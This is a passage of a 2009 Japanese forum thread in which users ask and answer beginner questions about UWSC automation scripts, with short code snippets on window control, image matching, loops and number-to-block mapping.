これで以前作ったUWSファイルが見事に動いています!
>>590さんマジでありがとです m( _ _ )m
593名無しさん@お腹いっぱい。:2009/09/27(日) 18:05:14 ID:7JVGpQHe0
firefoxを閉じる方法がわかりません教えてください
594名無しさん@お腹いっぱい。:2009/09/28(月) 14:16:23 ID:dKc8Xyde0
新着情報 / お知らせ
 2009/09/28 UWSC Ver4.5c、 Pro版と Free版をリリースしました。

[Ver4.5c]
  .NETのMDIアプリ対してCLKITEM関数の処理が不完全だったのを修正
  高レベル記録にてMDIアプリの記録ができなかったのを修正(一部不可)
  HASHTBLの宣言にて変数名に一部使えない2バイト文字があったのを修正
  SAFEARRAY型を作るSAFEARRAY関数を付けた
  CHKIMG関数にてヒット数/順番指定ができるようにした
  CHKIMG関数にて各色に対し色幅を持たせられるようにした
  SELECT-SELEND構文にてCASE部を先に全部計算していたのを随時計算するように変更した
  Pro版:
  CREATEFORM関数にてFOM_NOSUBMITが指定されていると frame表示ができなかったのを修正
  RecIE:表示項目の取得にて、タグにidがある場合はタグの順番では無く idを記録するようにした
  UDebug:Trace実行時にて行末に横スクロールしていたのをしないようにした
595名無しさん@お腹いっぱい。:2009/09/28(月) 16:40:50 ID:irclUfzT0
nyやshareでダウンロード終わったrarなんかを自動的に解凍してくれるようなスクリプト組めない?
いちいち揃ったか確認してってちとめんどい
596名無しさん@お腹いっぱい。:2009/09/28(月) 18:00:48 ID:PAsbME+j0
それを人に聞いて教えてくれる奴がいるとでも思ってるのかP2P厨
597名無しさん@お腹いっぱい。:2009/09/28(月) 18:08:44 ID:XYX6H4wP0
>>593
いくらなんでもそれはわかるだろう
598名無しさん@お腹いっぱい。:2009/09/28(月) 18:09:50 ID:J6+ufsV/0
>>593
>>595
まずPCを窓の外に投げ捨てます。それから、
599名無しさん@お腹いっぱい。:2009/09/28(月) 18:57:20 ID:plPjciD00
服を脱ぎます。それから、
600593:2009/09/28(月) 19:40:54 ID:tD6dVglK0
わからないなら答えなくて良いよ
601名無しさん@お腹いっぱい。:2009/09/28(月) 20:35:45 ID:irclUfzT0
>>596
P2P程度でガタガタ言うな器が知れる
602名無しさん@お腹いっぱい。:2009/09/28(月) 21:59:58 ID:kvY9Z34d0
>>600
今日はここ見るの初めてなので質問気づかなかったですよ
関数抜けるなら
EXIT EXIT って書けば終了しますよ
quitでも抜けるかも
自分もまだ超初心者なのでわかんないんだけど
後で調べてみるよ
今からお風呂入ってからなので日付変わるかも^^;
詳しい人教えてあげればいいのにね
わかるかどうかは自分も自信ないけど
期待しないで待ってて^^;
取りあえず返事はするから。
603名無しさん@お腹いっぱい。:2009/09/28(月) 22:18:42 ID:tD6dVglK0
CTRLWIN( ID, CLOSE)
ここまでわかったけど
このIDってのがどうやって調べるのかが疑問
604名無しさん@お腹いっぱい。:2009/09/28(月) 23:06:05 ID:J6+ufsV/0
まあとりあえず人に物をたずねる態度ではないわな
しかもそんな超初級の質問だし
605名無しさん@お腹いっぱい。:2009/09/28(月) 23:15:48 ID:kvY9Z34d0
>>600
お待たせしました^^
私の環境(WindowsXPpro)で試してみました
Firefoxの置いてあるフォルダーの部分は書換えてください
idについてなんですが
私もよくわからないんですよ^^;
なので先人の方のフォロー待ちしてください
一応、私は下記のようにIDという名前の変数を自作してます^^;
----------------------------------------
//DドライブFirefox 30フォルダーのFirefox起動
id = EXEC("D:\Firefox 30\firefox.exe")

//10秒間休憩^^
SLEEP(10.0)

//変数idに指定してあるFirefoxを 終了(QUIT)
CTRLWIN(id, CLOSE2)
----------------------------------------

>>604さん
みんな仲良くしましょう^^
606名無しさん@お腹いっぱい。:2009/09/29(火) 00:05:20 ID:NdTMXo030
id = GETID("", "MozillaUIWindowClass", -1)
CTRLWIN(id, CLOSE)

これでいいだろめんどくせえ
607名無しさん@お腹いっぱい。:2009/09/29(火) 00:09:24 ID:G9pasUcy0
>>601
p2pをやっている時点で器が知れる
608名無しさん@お腹いっぱい。:2009/09/29(火) 02:09:09 ID:MkiJ7lnC0
>>595
スクリプトでなくとも、分割ファイルじゃない限りBACTHファイルでも出来そうだ
609名無しさん@お腹いっぱい。:2009/09/29(火) 06:34:07 ID:FQvNwZh30
>>601
程度って言う時点で終わっていることに気が付かない無能

ネタでも質問して答えがもらえなくて逆ギレするのは古い
0点

他人の器を計測出来る技量があるなら自分で作りましょう^^;
610名無しさん@お腹いっぱい。:2009/09/29(火) 07:15:22 ID:i5//2YOSP
ダウンロードしたファイルの展開を自動化して勝手にキンタマに感染してればいいよ
611名無しさん@お腹いっぱい。:2009/09/29(火) 10:05:41 ID:luOmQHoy0
展開とファイル実行機能をつけたスクリプトをEXE化してプレゼントしてあげよう
612名無しさん@お腹いっぱい。:2009/09/29(火) 15:26:34 ID:0xdw+62LP
4.5cだとselectが仕様変更したせいかこんな関数すると2ループ目で
構文エラーになるぞ。バグ?
for z = 0 to 5
print z
Test()
next
procedure Test()
dim cb
cn = "efg"
select cn
case "efg"
cb = 1
case "hij"
cb = 2
selend
fend
613名無しさん@お腹いっぱい。:2009/09/29(火) 20:17:33 ID:RXL7LTN80
>>612
漏れのとこはprocedure Test()がSyntax error吐く
procedure Test(a)と呼び出しもTest(0)に書き直すと5まで回る
614名無しさん@お腹いっぱい。:2009/09/30(水) 16:39:27 ID:IWwKgH1S0
>>612
エラーになる最小構成
Uスクリプト: SyntaxError:PROCEDURE TEST()2行目: TEST()
二回目の呼び出しでエラーになる

Test()
Test()

procedure Test()
  select 1
    case 2
  selend
fend
615名無しさん@お腹いっぱい。:2009/10/03(土) 15:10:10 ID:PrU7zT590
>>612
最新の4.5c1で問題ないようですね。
616名無しさん@お腹いっぱい。:2009/10/03(土) 15:17:35 ID:PrU7zT590
あ、修正内容記載忘れ

>SELECT-SELEND構文のCASE部の演算にて、正しく処理できないパターンがあるエンバグ修正
617名無しさん@お腹いっぱい。:2009/10/04(日) 19:21:28 ID:nTBPfdcN0
他のアプリのフォーム上のテキストを取得するにはどうしたらいいんでしょうか。
手順だけでも教えてください。
618名無しさん@お腹いっぱい。:2009/10/05(月) 00:07:31 ID:CH7gUdqSP
まずヘルプを見ます
619名無しさん@お腹いっぱい。:2009/10/05(月) 00:08:51 ID:PJFhomP10
それから服を脱ぎます
620名無しさん@お腹いっぱい。:2009/10/05(月) 03:49:26 ID:NhTXeCvfP
621名無しさん@お腹いっぱい。:2009/10/06(火) 08:32:17 ID:c/PWe0slP
HSPは皆さん名前くらいはご存知だと思います。
簡単にGUIを利用できるスクリプトです。
GUIを利用するには操作可能なウィンドウのハンドルが必要になりますが、
hsp3imp.dll と .ax 形式のスクリプトファイルがあればHSPの基本的なスクリプトが実行できます。
ハンドルにNULLを渡すしかないのでデスクトップ画面の左上になにやら表示されるだけですが、
同一プロセスで実行するので、UWSCのTHREAD関数と同じで、UWSCのメインが終了すれば自動的にHSPスクリプトも終了します。
実用的なコードではありませんが、UWSCと連携できる方法が分かったので、メモ代わりに置いておきます。
----------------------------------------------------------------
def_dll _hspini@16( Long, Long, Long, Long):long:hsp3imp.dll
def_dll _hspbye@16( Long, Long, Long, Long):long:hsp3imp.dll
def_dll _hspexec@16( Long, Long, Long, Long):long:hsp3imp.dll
def_dll _hspprm@16( Long, Long, Long, var string):long:hsp3imp.dll

_hspprm@16( 0, 0, 0, NULL )
_hspprm@16( $102, 0, 0, "test.ax" )
_hspini@16( $100, 300, 200, 0 )
_hspexec@16( 0,0,0,0 )
_hspbye@16( 0,0,0,0 )
622名無しさん@お腹いっぱい。:2009/10/06(火) 12:07:27 ID:MmWu6XUb0
いえ、結構です
623名無しさん@お腹いっぱい。:2009/10/06(火) 13:51:43 ID:/f+XFp6+0
そういうなよw

HSP利用してるひとには、何か役に立つ場面があるんだろう。よくわかんないけど。
624名無しさん@お腹いっぱい。:2009/10/06(火) 14:08:00 ID:iGIKVHSK0
GUIって書いてあるし、インターフェースの作り方が簡単に出来るんじゃね?
PRO版でも以外にhtmlで組んで値の取得はめんどいきがするしなぁ。
625名無しさん@お腹いっぱい。:2009/10/06(火) 14:40:59 ID:aEe1fbMS0
スクリプトが中心のUWSCにGUIは要るのかどうか
626名無しさん@お腹いっぱい。:2009/10/08(木) 18:39:23 ID:POs5weyE0
GUIは要るだろw
処理は分岐させるときに、
マウスでボタン選ばせることはよくある。
627名無しさん@お腹いっぱい。:2009/10/08(木) 19:32:12 ID:qRylH6WX0
漏れはGETKEYSTATE(と反応いるならFUKIDASI)派
628名無しさん@お腹いっぱい。:2009/10/08(木) 20:16:25 ID:G90OFwF50
そういえば、UWSCをゲームの自動化に使う人が多いけど、
UWSCはドットと一定範囲のキャプチャ、そしてあらかじめ用意した画像との一致ができるけど、
もーちょっと複雑な処理をするとなると普通の開発言語が必要になってくる。
DLLを作れば呼び出しはしやすいけど、DLLを作るのはちょっと大変。
HSPは個人というか同人のゲーム開発によく使われているから、作りやすそうな気がする。

>>621の呼び出し方法だとデータの受け渡しは出来なさそうだけど・・
確かHSP独自の管理データのバッファを受け渡すオプションがあるんですよ。
メモリアロケートしなきゃいけないからUWSCで用意するのはきついか・・・
そもそもそのバッファをどう使うのかも分かんないし。
直呼びするんじゃなくて中間にそのデータを処理するライブラリが必要になるよな。
結局DLLは作らなきゃいけないのか。
629名無しさん@お腹いっぱい。:2009/10/08(木) 20:54:12 ID:UBSNf1qA0
msgboxでYES or NO を選択させているときに
バックグラウンドのログウィンドウのサイズ変更やスクロール操作をさせたいのですけど
どーにもウィンドウ自体がロックされてて動かない。

何かいい処理手段はありませんか。
630名無しさん@お腹いっぱい。:2009/10/08(木) 21:08:28 ID:qO5rVH0kP
>>629
ためしに別スレッドで表示してみたけど、スレッド関係なくログ窓はロックされた。
最初にログ窓を表示してsleep()してる間にサイズを変更しておくしかないね。

毎度変更するのが面倒なら、ログ窓の初期サイズはどっかの初期設定で変更できるんじゃないかな。
参考にはならないだろうけど、UWSCの別スレッドで>>621の方法で呼び出したHSPスクリプトで表示した窓なら確かログ窓をロックしなかった。
モーダルとモードレスの違いかな。
631名無しさん@お腹いっぱい。:2009/10/09(金) 12:31:18 ID:b97IpTpi0
>>630
やっぱりそこは仕様として受け入れるのが妥当みたいですね…
632名無しさん@お腹いっぱい。:2009/10/09(金) 21:26:03 ID:arGnFET40
OPTIONで、SLCTBOXとかMSGBOXのタイトルは指定出来るけど、
Printで出てくるLogのウインドウのタイトルは変更出来ないですよね?
やるとしても、指定したタイトル.uwsを勝手に生成させて、
それにPrintしたい文を引数として渡しながら起動させて、そっちのプロセスからLogウインドウ生成させる
とか、
もしくはFukidashi使ってPrintまがいの関数作って、常に一番上に同じ文字列を表示させる事で代用する感じですか?
633名無しさん@お腹いっぱい。:2009/10/10(土) 19:09:22 ID:x/VCcQim0
ふと思ったんだがUSBケーブルで携帯電話に繋げば携帯電話のキーも自動操作可能?
634名無しさん@お腹いっぱい。:2009/10/10(土) 19:16:07 ID:utpQqVzD0
無理

携帯電話を接続する場合、モデムとして認識されるだろう。
モデムとしてダイヤルすることは、通信ソフトを使えば可能だが、通話は・・
Windows98には通話に使えるダイヤラーがあったけどな。
635名無しさん@お腹いっぱい。:2009/10/11(日) 00:22:44 ID:35okaGI10
UWSCで初めてプログラムを触ったんですが、基本的なことがわからないので質問します。

for i = 0 to 30
 A = ループの終了条件1
 B = ループの終了条件2
 ifb FLAG = 0 then
  if A then break
 else
  if B then break
 endif
next

for i = 0 to 30
 ifb FLAG = 0 then
  A = ループの終了条件1
  if A then break
 else
  B = ループの終了条件2
  if B then break
 endif
next

どちらが正しい処理の仕方(処理的に軽い)ですか?
636名無しさん@お腹いっぱい。:2009/10/11(日) 00:36:00 ID:PutYKpoI0
for i = 0 to 30
 ifb FLAG = 0 then
  if ループの終了条件1 then break
 else
  if ループの終了条件2 then break
 endif
next

これじゃいけない?

後者の方が条件Aにマッチする時は条件Bの評価をしなさそうに見えるけど、
実際はそうでないことも多いからやってみないとわからんな。
637名無しさん@お腹いっぱい。:2009/10/11(日) 02:58:02 ID:VZNQjdxo0
FLAGが0か1なら
for i = 0 to 30
 if (FLAG XOR ループの終了条件1) OR (FLAG AND ループの終了条件2) then break
next
とかやっちゃいそうな気がする。
短く書けるけど読みにくいし早くは無さそうだがw
ORは確か片方成立で飛ぶんじゃなかったっけかな?
638名無しさん@お腹いっぱい。:2009/10/11(日) 03:08:56 ID:bm9Dl8WM0
そもそもFLAGをforの中で変えてないのだから
ifb FLAG=0 then
for i = 0 to 30
   A = ループの終了条件1
  if A then break
   B = ループの終了条件2
  if B then break
next
endif
としてfor〜nextの間を省けばいい

FLAG変数への参照を無駄にループ数分行っていたのを省略できるし、forの中で一切FLAGをいじってない
時間の無駄すぎる
639名無しさん@お腹いっぱい。:2009/10/11(日) 03:21:48 ID:G3PJrjiY0
>>638
いや、マルチスレッドでflagをセットするのかもしれない。

ちょうど昨日くらいにマルチスレッドで同じ変数への演算を試したが、タイムラグはあるものの矛盾は起きなかった。
絶対に起きないというテストじゃなくて、ログに吐いてざっとみた感じだけどな。
データ保持時間が最短のインクリメント(X=X+1)だったから矛盾しなかっただけかもしれないが、
実際マルチスレッドでやり取りするのはその程度の小さいデータだしな。

>>637
UWSCの or はビット演算するんじゃなかったかな。
FLAGにセットするデータとループの終了条件1、2が0または1しかセットしないと決めてあるなら大丈夫だろうけど。
640名無しさん@お腹いっぱい。:2009/10/11(日) 03:38:04 ID:bm9Dl8WM0
>>639
ほい、if文の中のorの動きを見るサンプル
マウスの真ん中ボタン押すと次の数字をチェックに動く
動かす限りは、左右どちらかの条件を満たしたときthenの処理を行うっぽい

for a=-2 to 2
for b=-2 to 2
ifb a or b then
fukidasi(a+"|"+b)
while GETKEYSTATE(VK_MBUTTON)=FALSE
WEND
while GETKEYSTATE(VK_MBUTTON)=TRUE
WEND
else
endif
next
next
641名無しさん@お腹いっぱい。:2009/10/13(火) 22:27:37 ID:jrmsphI70
z = 1
repeat
IESetData(IE,True,"btnG","u-tan",z)
z = z + 1

until z > 400

終了条件が400となっていますが、400以下のときがあり
そのまま終了せずに止まってしまいます。

400以下の場合はどのような終了条件にすればいいのでしょうか?
642名無しさん@お腹いっぱい。:2009/10/13(火) 22:38:27 ID:xJwyuOU/0
while IESetData(知らない)
 z=z+1
wend
643名無しさん@お腹いっぱい。:2009/10/13(火) 22:57:01 ID:71hzl6RX0
for z = 1 to 400
IESetData(IE,True,"btnG","u-tan",z)
next
644名無しさん@お腹いっぱい。:2009/10/13(火) 23:07:14 ID:jrmsphI70
>>642-643
どちらも駄目でした・・・

645名無しさん@お腹いっぱい。:2009/10/13(火) 23:13:52 ID:Duzrrw3q0
z=1
while z<400 and a=TRUE
a= IESetData(知らない)
 z=z+1
wend
646名無しさん@お腹いっぱい。:2009/10/13(火) 23:51:29 ID:jrmsphI70
>>645
変数aを上に記載してやったら
どうにかできました。m(_ _)m
647名無しさん@お腹いっぱい。:2009/10/14(水) 00:48:59 ID:21DOA/fB0
ということはこれだな
for z = 1 to 400
 if false = IESetData(IE,True,"btnG","u-tan",z) then break
next
648名無しさん@お腹いっぱい。:2009/10/15(木) 17:56:31 ID:UljGJ3ay0
ちょっと疑問に思ったんだけど、
 「false = 条件」 と、 「条件 = false」
って普通はどっち?
649名無しさん@お腹いっぱい。:2009/10/15(木) 18:55:03 ID:bcXkiyj70
C言語で
> if 変数 = 状態
ってやっちゃうと代入になっちゃうから
> if 状態 = 変数
って書くべしっていうのはある

でもBasicは = で比較だからどっちでも同じ
ただ、比較対照が長い関数の場合、どれとどれを比較してるんだかわかんないので
> false = 関数
ってしたほうがいい。

> if 関数 = false then
と書くと、
> if 関数 then
と間違えやすい
だから、Basicでは
> if false = 関数 then
と書くのをお勧めする
650名無しさん@お腹いっぱい。:2009/10/15(木) 23:21:40 ID:a8XdqmYx0
初歩的な質問だと思いますが、
a = 1
IFB a != 1
 print "a != 1"
ELSE
 Print "a = 1"
ENDIF
で、表示されるのがa != 1というのは、仕様ですか?
エラー出ないのに、=を論理否定して≠にしている訳では無いのかな。
上記をC言語的なイメージで解釈したように使うには、
a = !1か、!a = 1か、a<>1にしなければならないようですが、
a<>1が一番解りやすいですかね?
651名無しさん@お腹いっぱい。:2009/10/16(金) 00:12:35 ID:d8MsK2iH0
>>650
それなんで通っちゃうんだろうね
確かに != の表記が間違ってるみたいだけど。
652名無しさん@お腹いっぱい。:2009/10/16(金) 14:55:14 ID:yaBuphLm0
saveimgを使って保存した画像をchkimgで調べるのを組んでるのですが
chkimgの座標指定が今一うまくいかないのでアドバイスお願いします
CHKIMG( 画像名, [透過色/色無視, x1, y1, x2, y2, 番号, 色幅] )

 X1――X2
  |    |
 Y1――Y2
このような解釈でいいのでしょうか?

ACW(GetID("ログイン"))
LOGIN = GetID("ログイン")
MOUSEORG(LOGIN)
 Repeat
  log = CHKIMG("log.BMP",-1)
  in = GetID("ログイン")
  ifb log then
   print "認証"
   print "X"+G_IMG_X+"Y"+G_IMG_Y
   BTN(LEFT,CLICK,G_IMG_X+20,G_IMG_Y+20,500)
 endif
 sleep(0.1)
 Until in < 0

この様に一度動かしてみて print "X"+G_IMG_X+"Y"+G_IMG_Y で出た座標を
log = CHKIMG("log.BMP",-1,)に入れてみるのですが上手く認識してくれません
座標指定しなければちゃんと認識はしてます
CHKIMG("log.BMP",-1,0,0,1000,1000)などにすると認識はしますが
実際 print "X"+G_IMG_X+"Y"+G_IMG_Y で出てくる数値は20,400程度なので
これに余裕を持たせ CHKIMG("log.BMP",-1,0,0,200,600) にしても認識してくれません
何がいけないのでしょうか?
653名無しさん@お腹いっぱい。:2009/10/16(金) 15:07:01 ID:d5KMyGe80
>>652
 (X1,Y1)――
   |     |
   ―――(X2,Y2)
654名無しさん@お腹いっぱい。:2009/10/16(金) 15:21:35 ID:d8MsK2iH0
>>652

  ┌Y1┐
 X1   X2
  └Y2┘
655名無しさん@お腹いっぱい。:2009/10/16(金) 15:26:36 ID:d5KMyGe80
>>652
始点Yが400で選択範囲をY600までにした場合
Yの値=画像の横幅、が200pxを超えていると認識しない。
656名無しさん@お腹いっぱい。:2009/10/16(金) 15:49:11 ID:yaBuphLm0
>>653-654
654を見て理解できました

>>655
画像自体の幅と高さが関係してくるのを理解してませんでした


これで少し前進しました アドバイスくださった皆さんありがとうございました
657名無しさん@お腹いっぱい。:2009/10/17(土) 16:13:22 ID:GlNkzRYu0
ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then
i = 1
ifb (L > 0 and L < 11) then
ii = 1
elseif (L > 40 and L < 51) then
ii = 2
else
ii = 3
endif
elseif (L > 10 and L < 21) or (L > 50 and L < 61) or (L > 90 and L < 101) then
i = 2
ifb (L > 10 and L < 21)
ii = 4
elseif (L > 50 and L < 61)
ii = 5
else
ii = 6
endif
endif

下一桁も取出したいのですがもっと簡単に書く方法はないですか?
658名無しさん@お腹いっぱい。:2009/10/17(土) 17:03:23 ID:Xw3XxMCcP
ここまで何をしたいのか全く理解できないレスは初めてだ
659名無しさん@お腹いっぱい。:2009/10/17(土) 17:32:45 ID:4eI9AiXq0
>>657
select L
 case 1 to 10
  i = 1
  ii = 1
 case 11 to 20
  i = 2
  ii = 4
 case 41 to 50
  i = 1
  ii = 2
 case 51 to 60
  i = 2
  ii = 5
 case 81 to 90
  i = 1
  ii = 3
 case 91 to 100
  i = 2
  ii = 6
 default
selend

「to」って使えたっけ??
660名無しさん@お腹いっぱい。:2009/10/17(土) 17:58:54 ID:II0xKVE40
使えないだろ。

下一桁の意味がわからん
661名無しさん@お腹いっぱい。:2009/10/17(土) 18:30:52 ID:GlNkzRYu0
すいません説明不足で
1〜200までの場所がありまして、まず1〜200は8つのブロックに分かれてます。

1つ目のブロックは、1〜10 41〜50 81〜90

2つ目のブロックは、11〜20 51〜60 91〜100

3つ目のブロックは、21〜30 61〜70 101〜110

4つ目のブロックは、31〜40 71〜80 111〜120

5つ目のブロックは、121〜130 161〜170

6つ目のブロックは、131〜140 171〜180

7つ目のブロックは、141〜150 181〜190

8つ目のブロックは、151〜160 191〜200

1つ目のブロックの1行目は1〜10 2行目は41〜50 3行目は81〜90
4つ目まで同じ
5つ目のブロックからは1行目は121〜130 2行目は161〜170
8つ目まで同じ

これを指定した番号の場所に行きたいのですが簡略化して書く方法が思いつかなかったので質問させていただきました。
662名無しさん@お腹いっぱい。:2009/10/17(土) 19:15:57 ID:2kTk15QU0
すみません質問です
友人から拡張子.uwsのスクリプトをもらいましたがUWSCのお試し期限が切れてしまいました
そこでAutoItで使えるようにしたいのですが僕にはこういった知識が全くありません
その友人に変換してもらえるか聞いたんですが
「UWSC以外は使ったことないからワカンネ」と言われてしまいました
もしここの部分をこうするだけだよ、
ってレベルの話であればどうか教えてください
663名無しさん@お腹いっぱい。:2009/10/17(土) 19:25:26 ID:ra182OK/0
>>662
UWSCのフリー版使えば期限なんてないよ
http://www.uwsc.info/uwsc45c1.zip
664名無しさん@お腹いっぱい。:2009/10/17(土) 19:35:41 ID:a5Xst/mw0
>>661
IFB L <= 120
 hoge = (L-1) MOD 40
 i = INT(hoge / 10) + 1
 ii = INT((L-1) / 40) + 1
 iii = L MOD 10
ELSEIF L <= 200
 hoge = ((L- 120) -1) MOD 40
 i = INT(hoge / 10) + 5
 ii = INT((L-1) / 40) + 1
 iii = L MOD 10
ENDIF
こんな感じじゃない?
適当に書いたからどこか1とかずれてると思うけど、
適当にいじれば使えると思うよ。
MODは割った剰りを求める演算な。
665名無しさん@お腹いっぱい。:2009/10/17(土) 19:54:20 ID:D58+E+1n0
>>657の条件だとiiの条件が特殊じゃね?
俺ならこんなの配列イメージで出すようにするわ
L = 11
DIM i,ii
DIM index[7][2] =_
0, 4, 8,_
1, 5, 9,_
2, 6,10,_
3, 7,11,_
12,16,99,_
13,17,99,_
14,18,99,_
15,19,99
DIM value_ii[7][2] =_
1, 2, 3,_
4, 5, 6,_
7, 8, 9,_
10,11,12,_
13,14,99,_
15,16,99,_
17,18,99,_
19,20,99
for block = 0 to 7
 for column = 0 to 2
  ifb int((L-1)/10) = index[block][column] then
   i = block + 1
   ii = value_ii[block][column]
MSGBOX( "i=" + i + ", ii=" + ii )
   break 2
  endif
 next
next
666名無しさん@お腹いっぱい。:2009/10/17(土) 20:03:08 ID:2kTk15QU0
>>663
ありがとうございます
フリー版があったんですね
助かりました
667名無しさん@お腹いっぱい。:2009/10/17(土) 20:36:20 ID:GlNkzRYu0
L = 入力された数字1〜200

ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then //8つのうちの1つ目のブロック
 i = 1 // 8/1 iはブロックの場所の変数
 ifb (L > 0 and L < 11) then
  ii = 1 // 1〜10までだから1行目 iiは行数の変数
  ifb L = 1
   iii=1 // Lは1番目 iiiは何番目かを表す変数
これをズラズラ200通り書いてたのでうまく求める書き方がなのかと思いまして

668名無しさん@お腹いっぱい。:2009/10/17(土) 21:23:35 ID:pJnpQWGB0
>>667
どうせ200通り書くんなら200通りの配列にしろよ。
そしたらコーディングは次の1行で済むからバグが混入しなくていいだろ。
> 結果 = データ[L]

> const ブロック = 0
> const 行 = 1
> const 列 = 2
> dim 結果[2]
> 結果 = データ[L]
> ブロック番号 = 結果[ブロック]
> 行番号 = 結果[行]
> 列番号 = 結果[列]

データは↓のように1〜200を定義する
dim データ[200][2] = _
// ブロック番号、行、列
0, 0, 0, _ // ダミーデータ
1, 1, 1, _ // L = 1
2, 1, 1, _ // L = 11
3, 1, 1, _ // L = 21

ルール化してデータを折りたたむ場合でも、一旦表にしてみれば整理しやすい。
669名無しさん@お腹いっぱい。:2009/10/17(土) 21:27:50 ID:NwjYpu/W0
下一桁の意味がわからん
普通に考えてL=164なら4をさすと思う
iはブロックらしいが、iiはなになのかわからんってことで

DIM minv[20]= 1,11,21,31,41,51,61,71,81, 91,101,111,121,131,141,151,161,171,181,191,-999
DIM maxv[20]=10,20,30,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200,-999
DIM tou[20]= 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,-999
DIM blk[20]= 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4, 5, 6, 7, 8, 5, 6, 7, 8,-999

L=INPUT("数字を入力してください",1)

L=INT(L)
ifb L<0 or L>200 then
FUKIDASI ("範囲外なので処理できません")
SLEEP(500)
EXITEXIT
endif
670名無しさん@お腹いっぱい。:2009/10/17(土) 21:28:31 ID:NwjYpu/W0
counter=0
while minv[counter]<>-999
if minv[counter]<=L and L<=maxv[counter] then break
counter=counter+1
wend

i=blk[counter]

ifb minv[counter]<>-999 then
FUKIDASI(tou[counter]+"&"+blk[counter])
WHILE GETKEYSTATE(VK_MBUTTON)=FALSE
WEND
WHILE GETKEYSTATE(VK_MBUTTON)=TRUE
WEND
endif
EXITEXIT
671名無しさん@お腹いっぱい。:2009/10/17(土) 22:00:44 ID:GlNkzRYu0
沢山の答えありがとうございます
自分はまだ初心者なので皆さんの答えを今すぐに理解できないので
1つずつ理解していきます。

672名無しさん@お腹いっぱい。:2009/10/17(土) 22:30:46 ID:GlNkzRYu0
>>669
95は何ブロック目の何行の何番目かを出したくて661みたいなkとを書いたのですが
簡潔にまとめるために質問しました。

□は縦1列で1ブロック

    1〜10  11〜20  21〜30  31〜40 
1行   □     □     □     □

   41〜50  51〜60  61〜70  71〜80 
2行   □     □     □     □

   81〜90 91〜100  101〜110 111〜120 
3行   □     □     □     □

   121〜130 131〜140 141〜150 151〜160 
4行   □     □     □     □

   161〜170 171〜180 181〜190 191〜200 
5行   □     □     □     □

673名無しさん@お腹いっぱい。:2009/10/18(日) 09:11:39 ID:t51s/utc0
661とは全く違うじゃねーかw
説明が下手糞だから余計な混乱を招いてるんじゃないのかよ。

下手に簡略化しようと考えずに
実際にやってることを書けよw
674名無しさん@お腹いっぱい。:2009/10/18(日) 11:27:49 ID:0ZmdNhwk0
>>673
最初そう思ったがどうやらLの数値からブロックの番号と行の番号の2種類を求めたいらしい
ただ、あとは>>669のDIM tou[20]=をその行の番号に対応するところを変えて後ろにii=tou[counter]
をつければ差し替えるだけで終わるから、後は質問者がLvUPしてこれをするだけ
675名無しさん@お腹いっぱい。:2009/10/18(日) 13:43:28 ID:fLNvafB60
>>669はminとmaxを別々の配列にしてるけど、それはミスが出やすいコーディングだから駄目だよ。
ひとつのオブジェクトにminとmaxがあるのはいいんだけどね。

□部分に、 L に9を足して10で割った数字を入れてみる。
さらに4を足して4で割った数字(小数点は切捨て) 【↓】
    1〜10  11〜20  21〜30  31〜40 
1行   1      2      3      4       1

   41〜50  51〜60  61〜70  71〜80 
2行   5      6      7      8       2

   81〜90 91〜100  101〜110 111〜120 
3行   9      10     11     12       3

   121〜130 131〜140 141〜150 151〜160 
4行   13     14     15     16       4

   161〜170 171〜180 181〜190 191〜200 
5行   17     18     19     20       5
      1      2      3      4 【←】 ((□-1) mod 4) + 1 の計算結果


>>664が既に書いてくれてるのを分解した図だな。
Excelとかで計算式書いてみたらすぐ作れる表なんだけどなあ。
しかも今どき表計算とか無料で使えるのに知らないのかなあ?
676名無しさん@お腹いっぱい。:2009/10/18(日) 18:29:56 ID:/4/WenoU0
ヘルプも見たけど分からなかったので質問
batファイルなんかだと「go to ○○」と書くと○○の部分に処理をジャンプさせられるけど
例えば

EXEC("C:\Program Files\lolifox\lolifox.exe")
loliid = GETID("lolifox", "MozillaUIWindowClass", -1)
CTRLWIN(loliid, MIN)

loli = STATUS(loliid, ST_ICON)

ifb loli = 0 then
CTRLWIN(loliid, MIN)
EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
else
EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
endif

こんな感じで書いたとして(本当はJaneの後も他の起動がズラズラ)
lolifoxは最小化したあと何故か勝手に最大化されてしまう場合があるから
こういう風にしてるんだけど、それだと同じ処理を両方に書いて長く見づらくなっちゃうため
thenの方で最小化した後にelseの方に飛ばす方法ってないのかな?
677名無しさん@お腹いっぱい。:2009/10/18(日) 18:48:35 ID:fLNvafB60
>>676
loliの中身を見る必要はない
これでおk
> STATUS(loliid, ST_ICON)
> CTRLWIN(loliid, MIN)
> EXEC("D:\ソフト\Jane Style\Jane2ch.exe")


もしくは、if分が終わった後に書けばおk
> if loli = 0 then CTRLWIN(loliid, MIN)
> EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
678名無しさん@お腹いっぱい。:2009/10/18(日) 20:14:28 ID:/4/WenoU0
>>677
出来た、ありがとう
ついでに聞いておきたんだけど
>>676で書いたようなラベルジャンプみたいな機能はUWSCではできないのかな
679名無しさん@お腹いっぱい。:2009/10/18(日) 20:26:05 ID:fLNvafB60
>>678
ないな。

どーしてもそういうコーディングがしたければ、
ジャンプの変わりに、関数を呼び出してそのままexitしたらいいんじゃないかな。

ifb flag then
 関数()  //関数を実行
 exitexit  //関数が終わると戻ってくるが、後は必要ないので終了
 // これでgotoしたのと同じ事になる。ただし変数はグローバルで取ること。
 //でもgotoが入り混じった動作は作れないよな
endif
680名無しさん@お腹いっぱい。:2009/10/18(日) 20:50:46 ID:/4/WenoU0
>>679
参考になったよ
サンクス
681名無しさん@お腹いっぱい。:2009/10/18(日) 21:14:57 ID:ixWoaU9v0
イイコト聞いた(・∀・)
俺も参考になった
>>679
ありがとね
682名無しさん@お腹いっぱい。:2009/10/19(月) 17:46:15 ID:n+6Jdku/0
はじめまして全くの初心者で丸投げでお願いしたいです
メモ帳に24行の文字列があるのですが
1時になれば上から1行目をサイトAに投稿
2時になれば上から1行目をサイトBに投稿
3時になれば上から1行目をサイトCに投稿
このように1時間ごとに1行の投稿を
1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです
よろしくお願いします
